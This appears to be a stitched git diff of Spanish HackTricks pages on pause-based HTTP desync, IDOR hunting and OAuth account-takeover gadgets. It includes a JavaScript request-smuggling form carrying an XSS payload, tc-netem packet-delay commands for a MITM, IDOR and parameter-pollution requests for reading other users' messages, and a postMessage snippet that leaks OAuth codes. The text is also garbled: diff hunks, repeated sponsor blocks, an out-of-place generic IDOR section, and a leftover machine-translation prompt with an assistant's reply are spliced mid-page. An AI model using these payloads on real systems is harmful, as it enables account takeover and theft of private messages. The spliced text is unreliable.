Aparentemente, **no es posible detener una solicitud desde el navegador** para explotar una vulnerabilidad de desincronización por pausa. Sin embargo, siempre podrías **realizar un ataque MITM para pausar una solicitud** enviada por el navegador. Ten en cuenta que este ataque **no depende de descifrar** ningún tráfico.
|
||||
|
||||
El flujo del ataque es muy **similar a un ataque de desincronización del lado del cliente regular**. El usuario visita una página controlada por el atacante, que emite una serie de **solicitudes entre dominios** a la aplicación objetivo. La **primera solicitud HTTP** se rellena deliberadamente para que sea tan **grande** que el sistema operativo **la divida en múltiples paquetes TCP**, permitiendo a un **MITM activo retrasar el paquete final**, desencadenando una desincronización basada en pausa. Debido al relleno, el **atacante** puede **identificar** qué **paquete pausar** simplemente basándose en el **tamaño**.
|
||||
|
||||
Desde el lado del cliente parece un desincronización del lado del cliente regular usando el gadget HEAD, aparte del relleno de la solicitud:
|
||||
```javascript
|
||||
let form = document.createElement('form')
|
||||
form.method = 'POST'
|
||||
form.enctype = 'text/plain'
|
||||
form.action = 'https://x.psres.net:6082/redirect?'+"h".repeat(600)+ Date.now()
|
||||
let input = document.createElement('input')
|
||||
input.name = "HEAD / HTTP/1.1\r\nHost: x\r\n\r\nGET /redirect?<script>alert(document.domain)</script> HTTP/1.1\r\nHost: x\r\nFoo: bar"+"\r\n\r\n".repeat(1700)+"x"
|
||||
input.value = "x"
|
||||
form.append(input)
|
||||
document.body.appendChild(form)
|
||||
form.submit()
|
||||
```
|
||||
En el sistema del atacante que realiza el MITM ciego, el retraso se implementó utilizando tc-NetEm:
|
||||
```bash
|
||||
# Setup
|
||||
tc qdisc add dev eth0 root handle 1: prio priomap
|
||||
|
||||
# Flag packets to 34.255.5.242 that are between 700 and 1300 bytes
|
||||
tc filter add dev eth0 protocol ip parent 1:0 prio 1 basic \
|
||||
match 'u32(u32 0x22ff05f2 0xffffffff at 16)' \
|
||||
and 'cmp(u16 at 2 layer network gt 0x02bc)' \
|
||||
and 'cmp(u16 at 2 layer network lt 0x0514)' \
|
||||
flowid 1:3
|
||||
|
||||
# Delay flagged packets by 61 seconds
|
||||
tc qdisc add dev eth0 parent 1:3 handle 10: netem delay 61s
|
||||
```
|
||||
## **Referencias**
|
||||
|
||||
* Toda la información de esta publicación fue tomada de [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
|
||||
**Consulta la publicación desde [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)**
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,106 +1,29 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los [PLANES DE SUSCRIPCIÓN](https://github.com/sponsors/carlospolop)!
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** repositorios de [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) de github.
|
||||
|
||||
</details>
|
||||
|
||||
**Consulta la publicación: [https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)**
|
||||
|
||||
**Publicación tomada de** [**https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489**](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
|
||||
<details>
|
||||
|
||||
# Lugares inesperados para buscar IDORs <a href="#8d15" id="8d15"></a>
|
||||
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
## No ignores los IDs codificados y hasheados <a href="#d6ce" id="d6ce"></a>
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
Cuando te enfrentes a un ID codificado, es posible que puedas decodificarlo utilizando esquemas de codificación comunes.
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** repositorios de [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) de github.
|
||||
|
||||
Y si la aplicación está utilizando un ID hasheado/aleatorio, verifica si el ID es predecible. A veces, las aplicaciones utilizan algoritmos que producen entropía insuficiente, y como tal, los IDs pueden ser predichos después de un análisis cuidadoso. En este caso, intenta crear algunas cuentas para analizar cómo se crean estos IDs. Es posible que puedas encontrar un patrón que te permita predecir los IDs pertenecientes a otros usuarios.
|
||||
|
||||
Además, es posible que puedas filtrar IDs aleatorios o hasheados a través de otro punto final de API, en otras páginas públicas de la aplicación (página de perfil de otros usuarios, etc.), o en una URL a través del referer.
|
||||
|
||||
Por ejemplo, una vez encontré un punto final de API que permite a los usuarios recuperar mensajes directos detallados a través de un ID de conversación hasheado. La solicitud se parece un poco a esto:
|
||||
```
|
||||
GET /api_v1/messages?conversation_id=SOME_RANDOM_ID
|
||||
```
|
||||
Esto parece estar bien a primera vista ya que el _conversation\_id_ es una secuencia larga, aleatoria y alfanumérica. Pero más tarde descubrí que en realidad se puede encontrar una lista de conversaciones para cada usuario simplemente usando su ID de usuario.
|
||||
```
|
||||
GET /api_v1/messages?user_id=ANOTHER_USERS_ID
|
||||
```
|
||||
Esto devolvería una lista de _conversation\_ids_ pertenecientes a ese usuario. Y el _user\_id_ está disponible públicamente en la página de perfil de cada usuario. Por lo tanto, puedes leer los mensajes de cualquier usuario obteniendo primero su _user\_id_ en su página de perfil, luego recuperando una lista de _conversation\_ids_ pertenecientes a ese usuario, y finalmente cargando los mensajes a través del punto final de la API /api\_v1/messages!
|
||||
|
||||
## Si no puedes adivinarlo, intenta crearlo <a href="#b54f" id="b54f"></a>
|
||||
|
||||
Si los IDs de referencia de objeto parecen impredecibles, intenta ver si hay algo que puedas hacer para manipular el proceso de creación o vinculación de estos IDs de objeto.
|
||||
|
||||
## Ofrece una ID a la aplicación, incluso si no la solicita <a href="#9292" id="9292"></a>
|
||||
|
||||
Si no se utilizan IDs en la solicitud generada por la aplicación, intenta agregarla a la solicitud. Intenta agregar _id, user\_id, message\_id_ u otros parámetros de referencia de objeto y ve si hace alguna diferencia en el comportamiento de la aplicación.
|
||||
|
||||
Por ejemplo, si esta solicitud muestra todos tus mensajes directos:
|
||||
```
|
||||
GET /api_v1/messages
|
||||
```
|
||||
¿Y este? ¿Mostraría los mensajes de otro usuario en su lugar?
|
||||
```
|
||||
GET /api_v1/messages?user_id=ANOTHER_USERS_ID
|
||||
```
|
||||
## HPP (HTTP parameter pollution) <a href="#cb9a" id="cb9a"></a>
|
||||
|
||||
Las vulnerabilidades de HPP (suministro de múltiples valores para el mismo parámetro) también pueden llevar a IDOR. Las aplicaciones pueden no anticipar que el usuario envíe múltiples valores para el mismo parámetro y al hacerlo, es posible que pueda evitar el control de acceso establecido en el punto final.
|
||||
|
||||
Aunque esto parece ser raro y nunca lo he visto antes, teóricamente, se vería así. Si esta solicitud falla:
|
||||
```
|
||||
GET /api_v1/messages?user_id=ANOTHER_USERS_ID
|
||||
```
|
||||
## Insecure Direct Object Reference (IDOR)
|
||||
|
||||
La vulnerabilidad de Insecure Direct Object Reference (IDOR) ocurre cuando una aplicación web permite a un usuario acceder a recursos o funcionalidades que no debería tener acceso. Esto se debe a que la aplicación no valida adecuadamente los identificadores de objeto directo (por ejemplo, un ID de usuario o un número de pedido) antes de permitir el acceso a los recursos correspondientes.
|
||||
|
||||
Un ejemplo común de IDOR es cuando una aplicación web permite a un usuario acceder a los detalles de una orden simplemente cambiando el número de orden en la URL. Si la aplicación no valida adecuadamente el número de orden, un usuario malintencionado podría acceder a los detalles de cualquier orden simplemente cambiando el número de orden en la URL.
|
||||
|
||||
Para encontrar vulnerabilidades de IDOR, se puede utilizar una técnica llamada "secuenciación de objetos". Esto implica enviar solicitudes repetidas con diferentes valores de identificación de objeto directo para ver si se puede acceder a recursos o funcionalidades que no deberían estar disponibles para el usuario.
|
||||
|
||||
Es importante tener en cuenta que las vulnerabilidades de IDOR pueden ser especialmente peligrosas en aplicaciones que manejan información confidencial, como datos de tarjetas de crédito o información médica. Por lo tanto, es importante que los desarrolladores validen adecuadamente los identificadores de objeto directo y limiten el acceso del usuario solo a los recursos y funcionalidades que deberían estar disponibles para ellos.
|
||||
```
|
||||
GET /api_v1/messages?user_id=YOUR_USER_ID&user_id=ANOTHER_USERS_ID
|
||||
```
|
||||
Claro, ¿qué necesitas que traduzca?
|
||||
```
|
||||
GET /api_v1/messages?user_id=ANOTHER_USERS_ID&user_id=YOUR_USER_ID
|
||||
```
|
||||
Lo siguiente es el contenido de un libro de hacking sobre técnicas de hacking de plataformas en la nube, SaaS, CI/CD... El siguiente contenido es del archivo /hive/hacktricks/pentesting-web/idor.md. Traduzca el texto relevante al español y devuelva la traducción manteniendo la sintaxis de markdown. No traduzca cosas como código, nombres de técnicas de hacking, nombres de plataformas en la nube/SaaS (como Workspace, aws, gcp...), la palabra 'leak' y las etiquetas de markdown. Además, no agregue nada aparte de la traducción y la sintaxis de markdown.
|
||||
```
|
||||
GET /api_v1/messages?user_ids[]=YOUR_USER_ID&user_ids[]=ANOTHER_USERS_ID
|
||||
```
|
||||
## Blind IDORs <a href="#7639" id="7639"></a>
|
||||
|
||||
A veces, los endpoints susceptibles a IDOR no responden directamente con la información filtrada. En su lugar, pueden hacer que la aplicación filtre información en otro lugar: en archivos de exportación, correos electrónicos y tal vez incluso alertas de texto.
|
||||
|
||||
## Cambiar el método de solicitud <a href="#6597" id="6597"></a>
|
||||
|
||||
Si un método de solicitud no funciona, hay muchos otros que se pueden probar en su lugar: GET, POST, PUT, DELETE, PATCH...
|
||||
|
||||
Un truco común que funciona es sustituir POST por PUT o viceversa: ¡es posible que no se hayan implementado los mismos controles de acceso!
|
||||
|
||||
## Cambiar el tipo de archivo solicitado <a href="#8f78" id="8f78"></a>
|
||||
|
||||
A veces, cambiar el tipo de archivo solicitado puede hacer que el servidor procese la autorización de manera diferente. Por ejemplo, intente agregar .json al final de la URL de solicitud y vea qué sucede.
|
||||
|
||||
# Cómo aumentar el impacto de IDORs <a href="#45b0" id="45b0"></a>
|
||||
|
||||
## IDOR críticos primero <a href="#71f7" id="71f7"></a>
|
||||
|
||||
Siempre busque IDORs en funcionalidades críticas primero. Tanto los IDOR basados en escritura como los basados en lectura pueden tener un alto impacto.
|
||||
|
||||
En términos de IDORs que cambian el estado (escritura), los IDORs de restablecimiento de contraseña, cambio de contraseña, recuperación de cuenta a menudo tienen el mayor impacto comercial. (Por ejemplo, en comparación con un IDOR de "cambiar la configuración de suscripción por correo electrónico".)
|
||||
|
||||
En cuanto a los IDORs que no cambian el estado (lectura), busque funcionalidades que manejen información sensible en la aplicación. Por ejemplo, busque funcionalidades que manejen mensajes directos, información de usuario sensible y contenido privado. Considere qué funcionalidades en la aplicación utilizan esta información y busque IDORs en consecuencia.
|
||||
</details>
|
||||
|
|
|
@ -1,794 +1,27 @@
|
|||
# OAuth - Flujos felices, XSS, iframes y mensajes POST para filtrar valores de código y estado
|
||||
# OAuth - Caminos felices, XSS, Iframes y Mensajes POST para filtrar valores de código y estado
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
**Este contenido fue tomado de** [**https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url**](https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)****
|
||||
|
||||
## Explicación de diferentes flujos de OAuth
|
||||
|
||||
### Tipos de respuesta
|
||||
|
||||
En primer lugar, existen diferentes tipos de respuesta que se pueden utilizar en el flujo de OAuth. Estas respuestas otorgan el **token para iniciar sesión como los usuarios o la información necesaria para hacerlo**.
|
||||
|
||||
Los tres más comunes son:
|
||||
|
||||
1. **`code` + `state`**. El **código** se utiliza para **llamar al servidor del proveedor de OAuth** para obtener un token. El parámetro **state** se utiliza para verificar que el **usuario correcto está realizando la llamada**. Es responsabilidad del cliente de OAuth validar el parámetro de estado antes de realizar la llamada al servidor del proveedor de OAuth.
|
||||
2. **`id_token`**. Es un token JSON Web Token **(JWT) firmado** utilizando un certificado público del proveedor de OAuth para verificar que la identidad proporcionada es realmente quien dice ser.
|
||||
3. **`token`**. Es un **token de acceso** utilizado en la API del proveedor de servicios.
|
||||
|
||||
### Modos de respuesta
|
||||
|
||||
Existen diferentes modos que el flujo de autorización podría utilizar para proporcionar los códigos o tokens al sitio web en el flujo de OAuth, estos son cuatro de los más comunes:
|
||||
|
||||
1. **Consulta**. Enviando parámetros de consulta como una redirección de vuelta al sitio web (`https://ejemplo.com/callback?code=xxx&state=xxx`). Utilizado para `code+state`. El **código** solo se puede **usar una vez** y se necesita el **secreto del cliente de OAuth** para **adquirir un token de acceso** al usar el código. 
|
||||
1. [Este modo no se recomienda para tokens](https://openid.net/specs/oauth-v2-multiple-response-types-1\_0-09.html#id\_token) ya que **los tokens se pueden usar varias veces y no deben terminar en registros del servidor o similares**. La mayoría de los proveedores de OAuth no admiten este modo para tokens, solo para código. Ejemplos:
|
||||
* `response_mode=query` es utilizado por Apple.
|
||||
* `response_type=code` es utilizado por Google o Facebook.
|
||||
2. **Fragmento**. Usando una **redirección de fragmento** (`https://ejemplo.com/callback#access_token=xxx`). En este modo, la parte del fragmento de la URL no termina en ningún registro del servidor y solo se puede acceder desde el lado del cliente utilizando javascript. Este modo de respuesta se utiliza para tokens. Ejemplos:
|
||||
* `response_mode=fragment` es utilizado por Apple y Microsoft.
|
||||
* `response_type` contiene `id_token` o `token` y es utilizado por Google, Facebook, Atlassian y otros.
|
||||
3. **Mensaje web**. Usando **postMessage a un origen fijo del sitio web**:\
|
||||
`postMessage('{"access_token":"xxx"}','https://ejemplo.com')`\
|
||||
Si se admite, a menudo se puede utilizar para todos los diferentes tipos de respuesta. Ejemplos:
|
||||
* `response_mode=web_message` es utilizado por Apple.
|
||||
* `redirect_uri=storagerelay://...` es utilizado por Google.
|
||||
* `redirect_uri=https://staticxx.facebook.com/.../connect/xd_arbiter/...` es utilizado por Facebook.
|
||||
4. **Publicación de formulario**. Usando una publicación de formulario a un `redirect_uri` válido, se envía una **solicitud POST regular de vuelta al sitio web**. Esto se puede utilizar para código y tokens. Ejemplos:
|
||||
* `response_mode=form_post` es utilizado por Apple.
|
||||
* `ux_mode=redirect&login_uri=https://ejemplo.com/callback` es utilizado por Google Sign-In (GSI).
|
||||
|
||||
## Romper `state` intencionalmente <a href="#break-state-intentionally" id="break-state-intentionally"></a>
|
||||
|
||||
La especificación de OAuth recomienda un parámetro `state` en combinación con un `response_type=code` para asegurarse de que el usuario que inició el flujo también es el que usa el código después del flujo de OAuth para emitir un token.
|
||||
|
||||
Sin embargo, si el **valor de `state` es inválido**, el **`code` no se consumirá** ya que es responsabilidad del sitio web (el último) validar el estado. Esto significa que si un atacante puede enviar un enlace de flujo de inicio de sesión a una víctima contaminada con un `state` válido del atacante, el flujo de OAuth fallará para la víctima y el `code` nunca se enviará al proveedor de OAuth. El código seguirá siendo posible de usar si el atacante puede obtenerlo.
|
||||
|
||||
1. El atacante inicia un flujo de inicio de sesión en el sitio web utilizando "Iniciar sesión con X".
|
||||
2. El atacante utiliza el valor `state` y construye un enlace para que la víctima inicie sesión con el proveedor de OAuth pero con el `state` del atacante.
|
||||
3. La víctima inicia sesión con el enlace y es redirigida de vuelta al sitio web.
|
||||
4. El sitio web valida el `state` para la víctima y detiene el procesamiento del flujo de inicio de sesión ya que no es un estado válido. Página de error para la víctima.
|
||||
5. El atacante encuentra una forma de filtrar el `code` de la página de error.
|
||||
6. El atacante ahora puede iniciar sesión con su propio `state` y el `
|
||||
```
|
||||
https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?
|
||||
client_id=client-id.apps.googleusercontent.com&
|
||||
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback&
|
||||
scope=openid%20email%20profile&
|
||||
response_type=code&
|
||||
access_type=offline&
|
||||
state=yyy&
|
||||
prompt=consent&flowName=GeneralOAuthFlow
|
||||
```
|
||||
redireccionará a `https://example.com/callback?code=xxx&state=yyy`. Pero:
|
||||
```
|
||||
https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?
|
||||
client_id=client-id.apps.googleusercontent.com&
|
||||
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback&
|
||||
scope=openid%20email%20profile&
|
||||
response_type=code,id_token&
|
||||
access_type=offline&
|
||||
state=yyy&
|
||||
prompt=consent&flowName=GeneralOAuthFlow
|
||||
```
|
||||
Se redirigirá a `https://example.com/callback#code=xxx&state=yyy&id_token=zzz`.
|
||||
|
||||
La misma idea se aplica a Apple si usas:
|
||||
```
|
||||
https://appleid.apple.com/auth/authorize?
|
||||
response_type=code&
|
||||
response_mode=query&
|
||||
scope=&
|
||||
state=zzz&
|
||||
client_id=client-id&
|
||||
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
|
||||
```
|
||||
Serás redirigido a `https://example.com/callback?code=xxx&state=yyy`, pero:
|
||||
```
|
||||
https://appleid.apple.com/auth/authorize?
|
||||
response_type=code+id_token&
|
||||
response_mode=fragment&
|
||||
scope=&
|
||||
state=zzz&
|
||||
client_id=client-id&
|
||||
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
|
||||
```
|
||||
Te redirigirá a `https://example.com/callback#code=xxx&state=yyy&id_token=zzz`.
|
||||
|
||||
## Caminos no felices
|
||||
|
||||
El autor de la investigación llamó **caminos no felices a las URLs incorrectas donde el usuario iniciaba sesión a través de OAuth y era redirigido**. Esto es útil porque si el cliente recibe el token o un estado+codigo válido **pero no llega a la página esperada**, esa **información no será consumida correctamente** y si el atacante encuentra una forma de **filtrar esa información** del "camino no feliz", podrá **tomar el control de la cuenta**.
|
||||
|
||||
Por defecto, el flujo de OAuth llegará al camino esperado, sin embargo, podría haber algunas **configuraciones incorrectas** potenciales que podrían permitir a un atacante **crear una solicitud OAuth inicial específica** que hará que el **usuario llegue a un camino no feliz después de iniciar sesión**.
|
||||
|
||||
### Desajustes en la URL de redirección
|
||||
|
||||
Estas **configuraciones incorrectas** "comunes" se encontraron en la **URL de redirección** de la comunicación OAuth.
|
||||
|
||||
La [**especificación**](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics-19#section-2.1) **** indica estrictamente que la URL de redirección debe compararse estrictamente con la definida, sin permitir cambios aparte del puerto que aparece o no. Sin embargo, algunos puntos finales permitían algunas modificaciones:
|
||||
|
||||
### Añadir una ruta a la URL de redirección
|
||||
|
||||
Algunos proveedores de OAuth **permiten agregar datos adicionales** a la ruta para `redirect_uri`. Esto también rompe la especificación de la misma manera que para "Cambio de caso en la URL de redirección". Por ejemplo, teniendo una URL de redirección `https://example.com/callback`, enviando:
|
||||
```
|
||||
response_type=id_token&
|
||||
redirect_uri=https://example.com/callbackxxx
|
||||
```
|
||||
### Añadiendo parámetros a redirect-uri
|
||||
|
||||
Algunos proveedores de OAuth **permiten agregar parámetros adicionales de consulta o fragmento** a la `redirect_uri`. Puedes aprovechar esto al provocar un camino no feliz proporcionando los mismos parámetros que se agregarán a la URL. Por ejemplo, si tienes una `redirect_uri` de `https://example.com/callback`, envía:
|
||||
```
|
||||
response_type=code&
|
||||
redirect_uri=https://example.com/callback%3fcode=xxx%26
|
||||
```
|
||||
El resultado en estos casos sería una redirección a `https://example.com/callback?code=xxx&code=real-code`. Dependiendo del sitio web que reciba **múltiples parámetros con el mismo nombre, esto también podría desencadenar un camino no feliz**. Lo mismo se aplica a `token` e `id_token`:
|
||||
```
|
||||
response_type=code&
|
||||
redirect_uri=https://example.com/callback%23id_token=xxx%26
|
||||
```
|
||||
Termina como `https://example.com/callback#id_token=xxx&id_token=real-id_token`. Dependiendo del **javascript que recupera los parámetros de fragmento cuando hay múltiples parámetros con el mismo nombre**, esto también podría terminar en un camino no feliz.
|
||||
|
||||
### Restos de uri de redirección o configuraciones incorrectas
|
||||
|
||||
Al recopilar todas las URL de inicio de sesión que contienen los valores de `redirect_uri`, también podría probar si otros valores de redirección de URI también eran válidos. De las 125 flujos de inicio de sesión de Google diferentes que guardé de los sitios web que probé, 5 sitios web tenían la página de inicio también como un `redirect_uri` válido. Por ejemplo, si se estaba utilizando `redirect_uri=https://auth.example.com/callback`, en estos 5 casos, cualquiera de estos también era válido:
|
||||
|
||||
* `redirect_uri=https://example.com/`
|
||||
* `redirect_uri=https://example.com`
|
||||
* `redirect_uri=https://www.example.com/`
|
||||
* `redirect_uri=https://www.example.com`
|
||||
|
||||
Esto fue especialmente interesante para los sitios web que realmente usaban `id_token` o `token`, ya que `response_type=code` aún tendría al proveedor de OAuth validando el `redirect_uri` en el último paso del baile de OAuth al adquirir un token.
|
||||
|
||||
## Gadget 1: Listeners de postMessage con verificación de origen débil o inexistente que filtra la URL
|
||||
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget-1-1024x582.png)
|
||||
|
||||
**En este ejemplo, el último camino no feliz donde se envió el token/código fue enviando un mensaje de solicitud de publicación filtrando location.href.**\
|
||||
Un ejemplo fue un SDK de análisis para un sitio popular que se cargó en sitios web:
|
||||
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget1-example1.png)
|
||||
|
||||
Este SDK expuso un listener de postMessage que envió el siguiente mensaje cuando el tipo de mensaje coincidió:
|
||||
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget1-example2.png)
|
||||
|
||||
Enviando un mensaje a él desde un origen diferente:
|
||||
```javascript
|
||||
openedwindow = window.open('https://www.example.com');
|
||||
...
|
||||
openedwindow.postMessage('{"type":"sdk-load-embed"}','*');
|
||||
```
|
||||
Un mensaje de respuesta aparecería en la ventana que envió el mensaje que contiene la `location.href` del sitio web:
|
||||
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget1-example3.png)
|
||||
|
||||
El flujo que se podría utilizar en un ataque dependía de cómo se usaban los códigos y tokens para el flujo de inicio de sesión, pero la idea era:
|
||||
|
||||
### **Ataque**
|
||||
|
||||
1. El atacante envía al usuario víctima un **enlace manipulado** que ha sido preparado para **resultar en un flujo no feliz** en la danza de OAuth.
|
||||
2. La víctima **hace clic** en el enlace. Se abre una nueva pestaña con un flujo de **inicio de sesión** con uno de los proveedores de OAuth del sitio web que está siendo explotado.
|
||||
3. Se activa un flujo no feliz en el sitio web que está siendo explotado, se carga el **escucha de postMessage vulnerable en la página en la que aterrizó la víctima, todavía con el código o tokens en la URL**.
|
||||
4. La **pestaña original** enviada por el atacante envía un montón de **postMessages** a la nueva pestaña con el sitio web para que el escucha de postMessage filtre la URL actual.
|
||||
5. La pestaña original enviada por el atacante **escucha el mensaje enviado a ella**. Cuando la URL regresa en un mensaje, se extrae el **código y token** y se envía al atacante.
|
||||
6. **El atacante inicia sesión como la víctima** utilizando el código o token que terminó en el flujo no feliz.
|
||||
|
||||
## Gadget 2: XSS en un dominio de sandbox/terceros que obtiene la URL
|
||||
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget-2-1024x582.png)
|
||||
|
||||
 
|
||||
|
||||
